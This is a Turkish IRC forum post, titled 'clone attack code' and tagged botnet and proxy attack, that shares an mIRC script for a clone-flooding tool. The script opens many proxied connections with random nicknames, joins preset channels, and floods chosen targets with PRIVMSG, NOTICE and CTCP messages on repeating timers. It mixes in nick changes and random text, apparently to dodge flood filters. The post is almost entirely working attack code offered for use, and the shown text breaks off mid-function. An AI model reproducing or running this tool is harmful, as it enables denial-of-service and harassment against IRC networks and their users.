Türkiye'nin IRCd ve LaMeR Forumu Sitesi
  1. Türkiye'nin IRCd ve LaMeR Forumu Sitesi
  2. İRC SALDIRI MiRC Ve Kodları
  3. İRC SALDIRI KODLARI
  4. CLONE SALDIRI Kodu
Konuyu Oyla:
  • Derecelendirme: 0/5 - 0 oy
  • 1
  • 2
  • 3
  • 4
  • 5

[-]
Tags
ircsaldırısı botsaldırısı ircforum proxysaldırı ircsaldırı clonesattack saldiri botnet kodu clonesaldırı clone proxysaldırısı ircforumları clonesaldırısı

Gösterim Stili
CLONE SALDIRI Kodu
Admin
#1
Heart 
02-21-2020, 03:29 AM (Son Düzenleme: 02-23-2020, 01:39 AM, Düzenleyen: Admin.) <
FORUM KURUCUSU
*******

Çevrimdışı
*******
  • Yorumları:
    296
  • Konuları:
    243
  • Kayıt Tarihi:
    Feb 2020
  • Rep Puanı:
    101
CLONE SALDIRI Kodu

E2QGV9.png

oynGg2.png


Kod:
menu menubar,nicklist,Channel,status {

  -

  Clone-Script:/Dialog -md Clone Clone




}




dialog Clone {

  title "Clone"

  size -1 -1 577 512

  option pixels

  tab "Settings", 75, 8 8 559 463

  box "Ayarlar", 1, 16 33 348 78, tab 75

  edit "irc.Siteadı.com", 2, 66 53 218 21, tab 75 autohs

  text "Server:", 3, 24 57 34 16, tab 75

  edit "6667", 4, 312 53 44 21, tab 75 limit 5

  text "Port:", 100, 288 57 22 16, tab 75

  text "Protocol:", 5, 24 83 42 16, tab 75

  combo 6, 66 80 80 114, tab 75 size drop

  text "Connections:", 9, 156 83 66 16, tab 75

  edit "1", 10, 219 80 44 21, tab 75 limit 4000

  check "CTCP Replies", 81, 276 82 80 20, tab 75

  box "Debug", 89, 16 115 348 44, tab 75

  combo 88, 24 132 71 20, group, tab 75

  radio "Debug ON", 87, 143 132 66 20, tab 75

  check "Hide Server Pings", 86, 256 132 102 20, tab 75

  box "Nickname and Real Name", 8, 16 163 348 124, tab 75

  radio "Random", 11, 24 179 58 20, group, tab 75

  radio "Nicklist:", 12, 24 203 54 20, tab 75

  radio "Other:", 13, 24 227 54 20, tab 75

  edit "", 14, 80 203 204 20, disable tab 75 autohs

  edit "", 15, 80 227 204 20, disable tab 75 limit 1000

  button "&Browse", 16, 288 203 68 20, disable tab 75

  text "Real Name:", 82, 24 259 56 16, tab 75

  edit "http://www.siteadı.com", 85, 80 257 204 21, tab 75 autohs limit 70

  box "On Connect", 7, 16 291 348 169, tab 75

  text "UserMode:", 17, 24 315 50 16, tab 75 

  edit "+iwTx", 18, 80 312 60 20, tab 75 

  edit "join #Sohbet,#Radyo,#yarisma,#kelime,#oyun", 19, 24 355 332 97, tab 75 multi return autohs autovs

  text "Raw IRC Commands:", 20, 24 339 106 16, tab 75

  box "Proxy/Socks List", 26, 371 33 188 427, tab 75

  text "Host:", 27, 379 56 26 16, tab 75

  text "Port:", 28, 379 80 26 16, tab 75

  edit "", 29, 411 53 140 20, tab 75 limit 15

  edit "", 30, 411 77 140 20, tab 75 limit 50

  button "Add", 31, 379 103 83 20, tab 75

  button "Remove", 32, 468 103 83 20, tab 75

  button "Import File", 33, 379 127 83 20, tab 75

  button "Clipboard", 83, 468 127 83 20, tab 75

  list 34, 379 153 172 257, tab 75 size multsel

  text "Number of Proxies:", 101, 379 414 93 12, tab 75

  text "0", 102, 476 414 25 12, tab 75

  button "Remove All", 35, 379 431 172 22, tab 75

  tab "Actions", 76

  box "Nicklist", 37, 16 33 156 363, tab 76

  list 38, 24 49 140 315, tab 76 size extsel

  box "Flood", 92, 179 119 380 96, tab 76

  button "Flood", 55, 187 135 67 21, disable tab 76

  text "No.Sends:", 116, 260 139 50 20, tab 76

  edit "", 117, 310 135 32 21, tab 76 autohs

  text "Delay(secs):", 94, 354 139 60 20, tab 76

  edit "", 95, 414 135 32 21, tab 76 autohs

  text "Repeat every(secs):", 98, 458 131 60 28, tab 76

  edit "", 99, 519 135 32 21, tab 76 autohs

  combo 91, 187 162 67 75, tab 76 size drop

  edit "", 56, 259 162 84 21, tab 76 autohs

  edit "", 57, 347 162 204 21, tab 76 autohs

  check "Msg+Change Nick 3 times", 96, 188 190 140 20, tab 76

  check "Random Text", 97, 363 190 82 20, tab 76

  button "Halt Flood", 93, 484 189 67 21, tab 76

  box "Other", 90, 179 219 380 241, tab 76

  button "Join", 41, 187 235 67 21, disable tab 76

  edit "", 42, 259 235 84 21, tab 76 autohs

  button "Part", 43, 187 259 67 21, disable tab 76

  edit "", 44, 259 259 84 21, tab 76 autohs

  edit "", 45, 347 259 204 21, tab 76 autohs

  button "Join Part", 46, 187 283 67 21, disable tab 76

  edit "", 47, 259 283 84 21, tab 76 autohs

  edit "", 48, 347 283 204 21, tab 76 autohs

  button "Message", 49, 187 307 67 21, disable tab 76

  edit "", 50, 259 307 84 21, tab 76 autohs

  edit "", 51, 347 307 204 21, tab 76 autohs

  button "Notice", 52, 187 331 67 21, disable tab 76

  edit "", 53, 259 331 84 21, tab 76 autohs

  edit "", 54, 347 331 204 21, tab 76 autohs

  button "CTCP", 58, 187 355 67 21, disable tab 76

  edit "", 59, 259 355 84 21, tab 76 autohs

  combo 60, 347 355 204 76, tab 76 size edit drop

  button "DCC Send", 61, 187 379 67 21, disable tab 76

  edit "", 62, 259 379 84 21, tab 76 autohs

  edit "", 63, 347 379 204 21, tab 76 autohs

  button "DCC Chat", 64, 187 403 67 21, disable tab 76

  edit "", 65, 259 403 84 21, tab 76 autohs

  button "Raw", 73, 187 427 67 21, disable tab 76

  edit "cycle #Sohbet,#Radyo,#yarisma,#kelime,#oyun", 74, 259 427 292 25, tab 76 multi return autohs autovs vsbar

  box "Nick", 36, 179 33 380 82, tab 76

  button "Nick", 66, 187 65 67 20, tab 76

  radio "Nicklist:", 68, 259 65 54 20, tab 76

  radio "Other:", 69, 259 88 54 20, tab 76

  edit "", 71, 315 88 164 20, disable tab 76 limit 1000

  radio "Random", 67, 259 42 58 20, tab 76

  button "Browse", 72, 484 65 67 20, disable tab 76

  edit "", 70, 315 65 164 20, disable tab 76 autohs

  text "Perform:", 39, 24 372 42 16, tab 76

  combo 40, 72 368 92 60, tab 76 size drop

  box "Statistics", 21, 16 400 156 60, tab 76

  text "Total Connections:", 23, 24 436 92 16, tab 76

  text "Connected Clones:", 22, 24 420 92 16, tab 76

  text "0", 24, 120 420 42 16, tab 76

  text "0", 25, 120 436 42 16, tab 76

  button "&Connect", 77, 8 480 83 25

  button "&Disconnect", 78, 96 480 83 25

  button "&Exit", 79, 488 480 81 25

  button "Connected Proxies", 80, 371 480 112 25

  button "Close Sockets", 84, 184 480 83 25

}




On *:Dialog:Clone:Init:*: {

  Did -a $DName 6 Normal

  Did -a $DName 6 Proxy

  Did -a $DName 6 Socks4

  Did -a $DName 6 Socks5

  Did -a $DName 6 Socks4&5

  Did -c $DName 6 5

  Did -a $DName 40 All

  Did -a $DName 40 Selected

  Did -c $DName 40 1

  Did -a $DName 60 PING

  Did -a $DName 60 TIME

  Did -a $DName 60 VERSION

  Did -c $DName 11

  Did -c $DName 67

  Did -c $DName 86

  Did -c $DName 87

  Did -a $DName 91 CTCP

  Did -a $DName 91 NOTICE

  Did -a $DName 91 PRIVMSG

  Did -c $DName 91 1

}




On *:Dialog:Clone:Edit:*: {

  If ($Did == 42) {

    If ($Left($Did(42),1) == $Chr(35)) && ($Count($Did(42),$Chr(32))

    Else { Did -b $DName 41 }

  }

  If ($Did == 44) {

    If ($Left($Did(44),1) == $Chr(35)) && ($Count($Did(44),$Chr(32)) == 0) { Did -e $DName 43 }

    Else { Did -b $DName 43 }

  }

  If ($Did == 47) {

    If ($Left($Did(47),1) == $Chr(35)) && ($Count($Did(47),$Chr(32)) == 0) { Did -e $DName 46 }

    Else { Did -b $DName 46 }

  }

  If ($Did == 50) {

    If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 }

    Else { Did -b $DName 49 }

  }

  If ($Did == 51) {

    If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 }

    Else { Did -b $DName 49 }

  }

  If ($Did == 53) {

    If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(53)) >= 1) && ($Did(54)) { Did -e $DName 52 }

    Else { Did -b $DName 52 }

  }

  If ($Did == 54) {

    If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(54)) { Did -e $DName 52 }

    Else { Did -b $DName 52 }

  }

  If ($Did == 56) && ($Did(96).State == 1) && ($Did(97).State == 1) {

    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }

    Else { Did -b $DName 55 }

  }

  If ($Did == 95) && ($Did(96).State == 1) && ($Did(97).State == 1) {

    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }

    Else { Did -b $DName 55 }

  }

  If ($Did == 99) && ($Did(96).State == 1) && ($Did(97).State == 1) {

    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }

    Else { Did -b $DName 55 }

  }

  If ($Did == 56) && ($Did(96).State == 1) && ($Did(97).State == 0) {

    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }

    Else { Did -b $DName 55 }

  }

  If ($Did == 57) && ($Did(96).State == 1) && ($Did(97).State == 0) {

    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }

    Else { Did -b $DName 55 }

  }

  If ($Did == 95) && ($Did(96).State == 1) && ($Did(97).State == 0) {

    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }

    Else { Did -b $DName 55 }

  }

  If ($Did == 99) && ($Did(96).State == 1) && ($Did(97).State == 0) {

    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }

    Else { Did -b $DName 55 }

  }

  If ($Did == 56) && ($Did(96).State == 0) && ($Did(97).State == 1) {

    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }

    Else { Did -b $DName 55 }

  }

  If ($Did == 95) && ($Did(96).State == 0) && ($Did(97).State == 1) {

    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }

    Else { Did -b $DName 55 }

  }

  If ($Did == 117) && ($Did(96).State == 0) && ($Did(97).State == 1) {

    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }

    Else { Did -b $DName 55 }

  }

  If ($Did == 56) && ($Did(96).State == 0) && ($Did(97).State == 0) {

    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }

    Else { Did -b $DName 55 }

  }

  If ($Did == 57) && ($Did(96).State == 0) && ($Did(97).State == 0) {

    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }

    Else { Did -b $DName 55 }

  }

  If ($Did == 95) && ($Did(96).State == 0) && ($Did(97).State == 0) {

    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }

    Else { Did -b $DName 55 }

  }

  If ($Did == 117) && ($Did(96).State == 0) && ($Did(97).State == 0) {

    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }

    Else { Did -b $DName 55 }

  }

  If ($Did == 59) {

    If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }

    Else { Did -b $DName 58 }

  }

  If ($Did == 60) {

    If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }

    Else { Did -b $DName 58 }

  }

  If ($Did == 62) {

    If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 }

    Else { Did -b $DName 61 }

  }

  If ($Did == 63) {

    If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 }

    Else { Did -b $DName 61 }

  }

  If ($Did == 65) {

    If ($Count($Did(65),$Chr(32)) == 0) && ($Len($Did(65)) >= 1) && ($Left($Did(65),1) != $Chr(35)) { Did -e $DName 64 }

    Else { Did -b $DName 64 }

  }

  If ($Did == 74) {

    If ($Len($Did(74)) >= 1) { Did -e $DName 73 }

    Else { Did -b $DName 73 }

  }

  If ($Did == 70) {

    If ($Did(70)) { Did -e $DName 66 }

    Else { Did -b $DName 66 }

  }

  If ($Did == 71) {

    If ($Did(71)) { Did -e $DName 66 }

    Else { Did -b $DName 66 }

  }

}




On *:Dialog:Clone:Close:*: {

  SockClose Clone.*

}




Alias Clone.Error { Var %E = $Input($1-,o,Clone) }




Alias Clone.RandomText {

  var %words = $rand(1,10), %r1

  while (%words) {

    var %letters = $rand(1,10), %r2

    while (%letters) {

      var %r2 = %r2 $+ $rand(a,z)

      dec %letters

    }

    var %r1 = %r1 %r2

    dec %words

  }

  return %r1

}




Alias genVars {

  var %i = $Did(Clone,38,0).sel, %t = 0, %n, %all

  while (%i) {

    var %x = 1

    while ($sock(Clone.*,%x) && $sock(Clone.*,%x).mark != $did(clone,38,$did(Clone,38,%i).sel).text) { inc %x }

    if ($sock(Clone.*,%x).mark == $did(clone,38,$did(Clone,38,%i).sel).text) { var %n = $sock(Clone.*,%x) }

    if ($calc($len(%n) + 1 + $len(%all)) > 900) {

      set -e %botnicklistvariable. [ $+ [ $1 ] $+ ] - [ $+ [ %t ] ] %all

      inc %t

      var %all

    }

    var %all = $addtok(%all,%n,32)

    dec %i

  }

  set -e %botnicklistvariable. [ $+ [ $1 ] $+ ] - [ $+ [ %t ] ] %all

}




Alias Clone.Actions {

  If ($1 == :KEY:) {

    var %key = $2

    tokenize 32 $3-

  }

  If ($1 == All) {

    Var %I = 1

    While ($Sock(Clone.*,%I)) {

      If ($2 == JOINPART) { SockWrite -nt $Sock(Clone.*,%I) JOIN $3 | SockWrite -nt $Sock(Clone.*,%I) NOTICE $3- | SockWrite -nt $Sock(Clone.*,%I) PART $3- }

      ElseIf ($2 == RAW) { SockWrite -nt $Sock(Clone.*,%I) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%I))) }

      ElseIf ($2 == NICK) {

        If ($Did(Clone,67).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Lower($Clone.RandNick($Rand(5,7))) }

        If ($Did(Clone,68).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Gettok($Read($Did(Clone,70)),1,32) }

        If ($Did(Clone,69).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Did(Clone,71) $+ $Clone.RandNick(2) }

      }

      Else { SockWrite -nt $Sock(Clone.*,%I) $2- }

      Inc %I

    }

  }

  If ($1 == Selected) {

    If (!%key) return

    var %s = $+($chr(37),botnicklistvariable.,%key,-,*),%j = $Sock(Clone.*,0)

    While (%j) {

      var %i = $var($eval(%s,1),0)

      while (%i) {

        If ($istok($eval($var($eval(%s,1),%i),2),$Sock(Clone.*,%J),32)) {

          If ($2 == JOINPART) { SockWrite -nt $Sock(Clone.*,%J) JOIN $3 | SockWrite -nt $Sock(Clone.*,%J) NOTICE $3- | SockWrite -nt $Sock(Clone.*,%J) PART $3- }

          ElseIf ($2 == RAW) { SockWrite -nt $Sock(Clone.*,%J) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%J))) }

          ElseIf ($2 == NICK) {

            If ($Did(Clone,67).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Lower($Clone.RandNick($Rand(5,7))) }

            If ($Did(Clone,68).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Gettok($Read($Did(Clone,70)),1,32) }

            If ($Did(Clone,69).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Did(Clone,71) $+ $Clone.RandNick(2) }

          }

          Else { SockWrite -nt $Sock(Clone.*,%J) $2- }

        }

        Dec %I

      }

      Dec %J

    }

  }

}




Alias Clone.Flood {

  var %key = $left($md5($ticks),10)

  genVars %key

  If ($Did(91) == CTCP) && ($Did(99) isnum) {

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $+

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) { .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $did(Clone,117) $did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $+ }

  }

  If ($Did(91) == CTCP) && ($Did(99) !isnum) {

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $+

  }

  If ($Did(91) == NOTICE) && ($Did(99) isnum) {

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NOTICE $Did(Clone,56) : $+ $did(Clone,57)

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) { .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $did(Clone,117) $did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NOTICE $Did(Clone,56) : $+ $did(Clone,57) }

  }

  If ($Did(91) == NOTICE) && ($Did(99) !isnum) {

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NOTICE $Did(Clone,56) : $+ $did(Clone,57)

  }

  If ($Did(91) == PRIVMSG) && ($Did(99) isnum) && ($Did(96).State == 0) && ($Did(97).State == 0) {

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) { .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $did(Clone,117) $did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) }

  }

  If ($Did(91) == PRIVMSG) && ($Did(99) !isnum) && ($Did(96).State == 0) && ($Did(97).State == 0) {

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)

  }

  If ($Did(91) == PRIVMSG) && ($Did(99) isnum) && ($Did(96).State == 0) && ($Did(97).State == 1) {

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) { .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $did(Clone,117) $did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0) }

  }

  If ($Did(91) == PRIVMSG) && ($Did(99) !isnum) && ($Did(96).State == 0) && ($Did(97).State == 1) {

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)

  }

  If ($Did(91) == PRIVMSG) && ($Did(96).State == 1) && ($Did(97).State == 0) {

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 0 Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NICK

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 2) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 3) Clone.Actions :KEY: %key $Did(Clone,40) NICK

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 4) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 5) Clone.Actions :KEY: %key $Did(Clone,40) NICK

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 0 Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NICK

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 2) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 3) Clone.Actions :KEY: %key $Did(Clone,40) NICK

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 4) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 5) Clone.Actions :KEY: %key $Did(Clone,40) NICK

  }

  If ($Did(91) == PRIVMSG) && ($Did(96).State == 1) && ($Did(97).State == 1) {

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 0 Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NICK

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 2) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 3) Clone.Actions :KEY: %key $Did(Clone,40) NICK

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 4) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 5) Clone.Actions :KEY: %key $Did(Clone,40) NICK

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 0 Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NICK

